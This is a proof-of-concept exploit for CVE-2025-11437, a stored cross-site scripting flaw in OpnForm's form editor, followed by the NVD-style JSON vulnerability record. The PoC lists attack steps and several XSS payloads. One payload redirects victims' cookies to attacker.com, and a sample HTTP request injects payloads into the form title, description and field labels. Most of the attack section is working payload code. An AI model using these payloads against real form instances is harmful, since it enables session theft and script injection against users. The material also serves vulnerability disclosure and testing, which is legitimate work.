CVE-2025-11437

<!-- CVE-2025-11437 PoC - Stored XSS in OpnForm Form Editor --> <!-- Vulnerability Location: /api/open/forms/ (Form Editor Component) --> <!-- Affected Versions: OpnForm <= 1.9.3 --> <!-- Step 1: Attacker authenticates to OpnForm with valid credentials --> <!-- Step 2: Attacker creates a new form via Form Editor --> <!-- Step 3: Inject malicious payload into form fields (e.g., form title, description, or custom fields) --> <!-- Example payloads for different XSS contexts: --> <!-- Payload 1: Basic script tag injection --> <script>alert('XSS-CVE-2025-11437')</script> <!-- Payload 2: Image tag with onerror event handler --> "><img src=x onerror=alert(document.domain)> <!-- Payload 3: SVG-based XSS payload --> <svg/onload=alert('XSS')> <!-- Payload 4: Cookie stealing payload (for demonstration) --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Step 4: Save the form and share the form URL with victim users --> <!-- Step 5: When victim visits the form page, the malicious script executes in their browser context --> // Example HTTP Request to create malicious form: // POST /api/open/forms/ HTTP/1.1 // Host: target-opnform-instance.com // Content-Type: application/json // Cookie: <authenticated_session_cookie> // // { // "title": "<script>alert('XSS')</script>", // "description": "<img src=x onerror=alert(document.cookie)>", // "fields": [ // { // "type": "text", // "label": "<svg/onload=alert(1)>", // "name": "field1" // } // ] // }

{"cve": {"id": "CVE-2025-11437", "sourceIdentifier": "[email protected]", "published": "2025-10-08T06:15:35.130", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in JhumanJ OpnForm up to 1.9.3. This affects an unknown part of the file /api/open/forms/ of the component Form Editor. This manipulation causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used. This issue is currently under review for additional handling. As of right now the vendor has stated that the feature is disabled until the user has configured their own domain which will mitigate this attack vector."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:N/I:P/A:N", "baseScore": 3.3, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 6.4, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jhumanj:opnform:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.3", "matchCriteriaId": "C896A041-D9C4-42F0-9477-C57E07D6EFF6"}]}]}], "references": [{"url": "https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.nowv0hlgdq8", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327374", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327374", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.666878", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}